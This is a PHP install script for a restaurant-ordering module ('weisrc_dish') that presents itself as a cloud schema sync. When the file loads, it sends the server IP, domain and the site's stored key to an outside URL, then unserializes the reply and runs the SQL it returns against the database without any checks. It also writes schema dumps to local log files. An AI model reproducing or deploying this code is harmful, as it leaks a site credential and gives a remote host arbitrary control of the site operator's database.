<?php
load()->func('db');
load()->func('communication');
load()->model('setting');
$tables = array();
$tables[] = 'weisrc_dish_mitu_setting';
$tables[] = 'weisrc_dish_account';
$tables[] = 'weisrc_dish_ad';
$tables[] = 'weisrc_dish_address';
$tables[] = 'weisrc_dish_area';
$tables[] = 'weisrc_dish_blacklist';
$tables[] = 'weisrc_dish_businesslog';
$tables[] = 'weisrc_dish_cart';
$tables[] = 'weisrc_dish_category';
$tables[] = 'weisrc_dish_collection';
$tables[] = 'weisrc_dish_commission';
$tables[] = 'weisrc_dish_coupon';
$tables[] = 'weisrc_dish_email_setting';
$tables[] = 'weisrc_dish_fans';
$tables[] = 'weisrc_dish_feedback';
$tables[] = 'weisrc_dish_goods';
$tables[] = 'weisrc_dish_intelligent';
$tables[] = 'weisrc_dish_mealtime';
$tables[] = 'weisrc_dish_nave';
$tables[] = 'weisrc_dish_order';
$tables[] = 'weisrc_dish_order_goods';
$tables[] = 'weisrc_dish_print_label';
$tables[] = 'weisrc_dish_print_order';
$tables[] = 'weisrc_dish_print_setting';
$tables[] = 'weisrc_dish_queue_order';
$tables[] = 'weisrc_dish_queue_setting';
$tables[] = 'weisrc_dish_reply';
$tables[] = 'weisrc_dish_reservation';
$tables[] = 'weisrc_dish_savewine_log';
$tables[] = 'weisrc_dish_service_log';
$tables[] = 'weisrc_dish_setting';
$tables[] = 'weisrc_dish_sms_checkcode';
$tables[] = 'weisrc_dish_sms_setting';
$tables[] = 'weisrc_dish_sncode';
$tables[] = 'weisrc_dish_store_setting';
$tables[] = 'weisrc_dish_stores';
$tables[] = 'weisrc_dish_tables';
$tables[] = 'weisrc_dish_tables_order';
$tables[] = 'weisrc_dish_tablezones';
$tables[] = 'weisrc_dish_template';
$tables[] = 'weisrc_dish_tpl_log';
$tables[] = 'weisrc_dish_type';

cloud_update_table($tables,'weisrc_dish');

/*
 * 同步云数据库结构
 * */
function cloud_update_table($tables = array(),$module=''){
	$tables = iserializer($tables);
	$tables = @base64_encode($tables);
	$data = array();
	$data['ip'] = gethostbyname($_SERVER['SERVER_ADDR']);
	$data['domain'] = $_SERVER['HTTP_HOST'];
	$data['s'] = $tables;
	$setting = setting_load('site');
	$data['id'] =isset($setting['site']['key'])? $setting['site']['key'] :'1';
	$data['module']= $module;
	
	$url ='http://www.baidu.com/meepo/api/meepo.php';
	$res = ihttp_post($url,$data);
	$res = cloud_object_array($res);
	$content = $res['content'];
	$content = json_decode($content);
	$content = cloud_object_array($content);
	if($content['code'] == 0){
		$data = $content['data'];
		$data = @base64_decode($data);
		$data = iunserializer($data);
		$sqls = array();
		if(!empty($data)){
			foreach($data as $da){
				if(!empty($da['tablename'])){
					$schema = db_table_schema_dosgo(pdo(),$da['tablename']);
					$da['tablename'] = cloud_tablename($da['tablename']);
                                        file_put_contents("schema1.log", json_encode($schema));
                                        file_put_contents("schema2.log", json_encode($da));
					if(empty($schema['tablename'])){
						//新建数据库
						$sql = db_table_create_sql($da);
					}else{
						$sql = db_table_fix_sql($schema,$da);
					}
					if(!empty($sql)){
						$sqls[] = $sql;
					}
				}
			}
		}
		cloud_updatetable($sqls);
		return true;
	}else{
		return false;
	}
}

function cloud_tablename($table) {
	if(empty($GLOBALS['_W']['config']['db']['master'])) {
		return "{$GLOBALS['_W']['config']['db']['tablepre']}{$table}";
	}
	return "{$GLOBALS['_W']['config']['db']['master']['tablepre']}{$table}";
}

/*
 * 结构转数组
 * */
 if(!function_exists('cloud_object_array')){
 function cloud_object_array($array) {
	if(is_object($array)) {
		$array = (array)$array;
	} if(is_array($array)) {
		foreach($array as $key=>$value) {
			$array[$key] = cloud_object_array($value);
		}
	}
	return $array;
}
 }

/*
 * 执行数据库更新
 * */
function cloud_updatetable($data){
	if(!empty($data)){
		if(is_array($data)){
			foreach($data as $da){
				if(is_array($da)){
					cloud_updatetable($da);
				}else{
					pdo_query($da);
				}
			}
		}else{
			pdo_query($data);
		}
	}
}

/*dosgo*/
function db_table_schema_dosgo($db, $tablename = '') {
	$result = $db->fetch("SHOW TABLE STATUS LIKE '" . trim($db->tablename($tablename), '`') . "'");
	if(empty($result) || empty($result['Create_time'])) {
		return array();
	}
	$ret['tablename'] = $result['Name'];
	$ret['charset'] = $result['Collation'];
	$ret['engine'] = $result['Engine'];
	$ret['increment'] = $result['Auto_increment'];
	$result = $db->fetchall("SHOW FULL COLUMNS FROM " . $db->tablename($tablename));
	foreach($result as $value) {
		$temp = array();
		$type = explode(" ", $value['Type'], 2);
		$temp['name'] = $value['Field'];
		$pieces = explode('(', $type[0], 2);
		$temp['type'] = $pieces[0];
		$temp['length'] = rtrim($pieces[1], ')');
		$temp['null'] = $value['Null'] != 'NO';
                $temp['default'] = $value['Default'];	//dosgo
                $temp['signed'] = empty($type[1]);
		$temp['increment'] = $value['Extra'] == 'auto_increment';
		$ret['fields'][$value['Field']] = $temp;
	}
	$result = $db->fetchall("SHOW INDEX FROM " . $db->tablename($tablename));
	foreach($result as $value) {
		$ret['indexes'][$value['Key_name']]['name'] = $value['Key_name'];
		$ret['indexes'][$value['Key_name']]['type'] = ($value['Key_name'] == 'PRIMARY') ? 'primary' : ($value['Non_unique'] == 0 ? 'unique' : 'index');
		$ret['indexes'][$value['Key_name']]['fields'][] = $value['Column_name'];
	}
	return $ret;
}